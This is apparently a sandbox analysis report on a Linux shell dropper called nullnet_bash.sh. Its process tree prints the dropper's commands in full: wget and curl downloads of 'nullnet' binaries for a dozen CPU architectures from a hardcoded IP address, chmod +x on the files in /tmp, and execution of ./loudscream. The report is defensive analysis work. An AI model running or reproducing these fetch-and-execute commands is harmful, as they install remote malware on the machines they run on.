2040185beb934da4c451dff56f113c7644d9edaf34ed61916407efb99651d94b

Analysis

max time kernel
10s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21/07/2026, 12:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
nullnet_bash.sh
Size 2KB
Sample260721-ph16astsbz
SHA256 2040185beb934da4c451dff56f113c7644d9edaf34ed61916407efb99651d94b
MD5 dd3fff0bbcb2f1aab618c8c1a06a83ef
SHA1 5beece3faf24688978386fed90cf910c66664a58
SHA512 01175c8c15df14a71e8a02f5a3a7d143209babe71736bd3a645721fe58a830fab1cd130f5ea8c521202ce2dbf22c5e5db4a47c843ecdec0d4d6ab136086bb99d
TLSH
T1245146C8737581303FB2E97261E95BC422D0AA9390E56FC2B0F6BFA1518CE2D7094B81
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1488	chmod
1493	chmod
1503	chmod
1513	chmod
1523	chmod
1533	chmod
1543	chmod
1498	chmod
1508	chmod
1518	chmod
1528	chmod
1538	chmod
1483	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/loudscream	1484	nullnet_bash.sh
/tmp/loudscream	1489	nullnet_bash.sh
/tmp/loudscream	1494	nullnet_bash.sh
/tmp/loudscream	1499	nullnet_bash.sh
/tmp/loudscream	1504	nullnet_bash.sh
/tmp/loudscream	1509	nullnet_bash.sh
/tmp/loudscream	1514	nullnet_bash.sh
/tmp/loudscream	1519	nullnet_bash.sh
/tmp/loudscream	1524	nullnet_bash.sh
/tmp/loudscream	1529	nullnet_bash.sh
/tmp/loudscream	1534	nullnet_bash.sh
/tmp/loudscream	1539	nullnet_bash.sh
/tmp/loudscream	1544	nullnet_bash.sh

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1471	wget
1481	curl
1482	cat

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nullnet.mpsl	curl
File opened for modification	/tmp/nullnet.arm5	curl
File opened for modification	/tmp/nullnet.arm6	curl
File opened for modification	/tmp/nullnet.m68k	curl
File opened for modification	/tmp/nullnet.sh4	curl
File opened for modification	/tmp/nullnet.spc	curl
File opened for modification	/tmp/nullnet.i686	curl
File opened for modification	/tmp/nullnet.mips	curl
File opened for modification	/tmp/nullnet.arm	curl
File opened for modification	/tmp/nullnet.arm7	curl
File opened for modification	/tmp/nullnet.ppc	curl
File opened for modification	/tmp/nullnet.arc	curl
File opened for modification	/tmp/nullnet.x86_64	curl
File opened for modification	/tmp/loudscream	nullnet_bash.sh

/tmp/nullnet_bash.sh
/tmp/nullnet_bash.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1470
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:1471
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1481
- /bin/cat
  cat nullnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:1482
- /bin/chmod
  chmod +x config-err-F7yly8 loudscream netplan_xm650o72 nullnet_bash.sh nullnet.mips snap-private-tmp ssh-615Txkfvw9TR systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-1tki11 systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-UFx5Rb systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-20Nqic systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-oqwtmm systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-DSoVIE
  2⤵
  - File and Directory Permissions Modification
  PID:1483
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:1484
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.mpsl
  2⤵
  PID:1485
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1486
- /bin/cat
  cat nullnet.mpsl
  2⤵
  PID:1487
- /bin/chmod
  chmod +x config-err-F7yly8 loudscream netplan_xm650o72 nullnet_bash.sh nullnet.mips nullnet.mpsl snap-private-tmp ssh-615Txkfvw9TR systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-1tki11 systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-UFx5Rb systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-20Nqic systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-oqwtmm systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-DSoVIE
  2⤵
  - File and Directory Permissions Modification
  PID:1488
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:1489
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.arm
  2⤵
  PID:1490
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1491
- /bin/cat
  cat nullnet.arm
  2⤵
  PID:1492
- /bin/chmod
  chmod +x config-err-F7yly8 loudscream netplan_xm650o72 nullnet.arm nullnet_bash.sh nullnet.mips nullnet.mpsl snap-private-tmp ssh-615Txkfvw9TR systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-1tki11 systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-UFx5Rb systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-20Nqic systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-oqwtmm systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-DSoVIE
  2⤵
  - File and Directory Permissions Modification
  PID:1493
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:1494
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.arm5
  2⤵
  PID:1495
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1496
- /bin/cat
  cat nullnet.arm5
  2⤵
  PID:1497
- /bin/chmod
  chmod +x config-err-F7yly8 loudscream netplan_xm650o72 nullnet.arm nullnet.arm5 nullnet_bash.sh nullnet.mips nullnet.mpsl snap-private-tmp ssh-615Txkfvw9TR systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-1tki11 systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-UFx5Rb systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-20Nqic systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-oqwtmm systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-DSoVIE
  2⤵
  - File and Directory Permissions Modification
  PID:1498
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:1499
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.arm6
  2⤵
  PID:1500
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/cat
  cat nullnet.arm6
  2⤵
  PID:1502
- /bin/chmod
  chmod +x config-err-F7yly8 loudscream netplan_xm650o72 nullnet.arm nullnet.arm5 nullnet.arm6 nullnet_bash.sh nullnet.mips nullnet.mpsl snap-private-tmp ssh-615Txkfvw9TR systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-1tki11 systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-UFx5Rb systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-20Nqic systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-oqwtmm systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-DSoVIE
  2⤵
  - File and Directory Permissions Modification
  PID:1503
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:1504
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.arm7
  2⤵
  PID:1505
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1506
- /bin/cat
  cat nullnet.arm7
  2⤵
  PID:1507
- /bin/chmod
  chmod +x config-err-F7yly8 loudscream netplan_xm650o72 nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.mips nullnet.mpsl snap-private-tmp ssh-615Txkfvw9TR systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-1tki11 systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-UFx5Rb systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-20Nqic systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-oqwtmm systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-DSoVIE
  2⤵
  - File and Directory Permissions Modification
  PID:1508
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.ppc
  2⤵
  PID:1510
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1511
- /bin/cat
  cat nullnet.ppc
  2⤵
  PID:1512
- /bin/chmod
  chmod +x config-err-F7yly8 loudscream netplan_xm650o72 nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.mips nullnet.mpsl nullnet.ppc snap-private-tmp ssh-615Txkfvw9TR systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-1tki11 systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-UFx5Rb systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-20Nqic systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-oqwtmm systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-DSoVIE
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.m68k
  2⤵
  PID:1515
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/cat
  cat nullnet.m68k
  2⤵
  PID:1517
- /bin/chmod
  chmod +x config-err-F7yly8 loudscream netplan_xm650o72 nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.m68k nullnet.mips nullnet.mpsl nullnet.ppc snap-private-tmp ssh-615Txkfvw9TR systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-1tki11 systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-UFx5Rb systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-20Nqic systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-oqwtmm systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-DSoVIE
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.sh4
  2⤵
  PID:1520
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/cat
  cat nullnet.sh4
  2⤵
  PID:1522
- /bin/chmod
  chmod +x config-err-F7yly8 loudscream netplan_xm650o72 nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.m68k nullnet.mips nullnet.mpsl nullnet.ppc nullnet.sh4 snap-private-tmp ssh-615Txkfvw9TR systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-1tki11 systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-UFx5Rb systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-20Nqic systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-oqwtmm systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-DSoVIE
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:1524
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.spc
  2⤵
  PID:1525
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/cat
  cat nullnet.spc
  2⤵
  PID:1527
- /bin/chmod
  chmod +x config-err-F7yly8 loudscream netplan_xm650o72 nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.m68k nullnet.mips nullnet.mpsl nullnet.ppc nullnet.sh4 nullnet.spc snap-private-tmp ssh-615Txkfvw9TR systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-1tki11 systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-UFx5Rb systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-20Nqic systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-oqwtmm systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-DSoVIE
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:1529
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.arc
  2⤵
  PID:1530
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1531
- /bin/cat
  cat nullnet.arc
  2⤵
  PID:1532
- /bin/chmod
  chmod +x config-err-F7yly8 loudscream netplan_xm650o72 nullnet.arc nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.m68k nullnet.mips nullnet.mpsl nullnet.ppc nullnet.sh4 nullnet.spc snap-private-tmp ssh-615Txkfvw9TR systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-1tki11 systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-UFx5Rb systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-20Nqic systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-oqwtmm systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-DSoVIE
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:1534
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.x86_64
  2⤵
  PID:1535
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1536
- /bin/cat
  cat nullnet.x86_64
  2⤵
  PID:1537
- /bin/chmod
  chmod +x config-err-F7yly8 loudscream netplan_xm650o72 nullnet.arc nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.m68k nullnet.mips nullnet.mpsl nullnet.ppc nullnet.sh4 nullnet.spc nullnet.x86_64 snap-private-tmp ssh-615Txkfvw9TR systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-1tki11 systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-UFx5Rb systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-20Nqic systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-oqwtmm systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-DSoVIE
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:1539
- /usr/bin/wget
  wget http://31.77.227.10/nullnet.i686
  2⤵
  PID:1540
- /usr/bin/curl
  curl -O http://31.77.227.10/nullnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/cat
  cat nullnet.i686
  2⤵
  PID:1542
- /bin/chmod
  chmod +x config-err-F7yly8 loudscream netplan_xm650o72 nullnet.arc nullnet.arm nullnet.arm5 nullnet.arm6 nullnet.arm7 nullnet_bash.sh nullnet.i686 nullnet.m68k nullnet.mips nullnet.mpsl nullnet.ppc nullnet.sh4 nullnet.spc nullnet.x86_64 snap-private-tmp ssh-615Txkfvw9TR systemd-private-91d26e4238e44db6ad0bc43348284c4d-bolt.service-1tki11 systemd-private-91d26e4238e44db6ad0bc43348284c4d-colord.service-UFx5Rb systemd-private-91d26e4238e44db6ad0bc43348284c4d-ModemManager.service-20Nqic systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-resolved.service-oqwtmm systemd-private-91d26e4238e44db6ad0bc43348284c4d-systemd-timedated.service-DSoVIE
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/loudscream
  ./loudscream ssh.nullnet
  2⤵
  PID:1544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

loudscream

Path /tmp/loudscream
Size 162B
SHA256 766c1d6bcb81d3e983fb7adbc19c616d7fc01dafb7893738edc242e2adc59c07
MD5 37d5c3a24983196361e6ce9b1a499464
SHA1 2dd5878df894f3c648e42408879e9a61c112d1b3
SHA512 cc140d1f61a01ba5f282d682dfeb19229426c7164b147a3031d3b5544c2d7213ce19b075a81d5e00750bdac7b1d9232b8b971e026d838ccae9466523338b09a9
TLSH
T1EAC08C6E2513BD4CC663217432C36490C08B93A7A4EA42228440805331CB2AA8AC7396
MD5 SHA1 SHA512 TLSH

Submit Download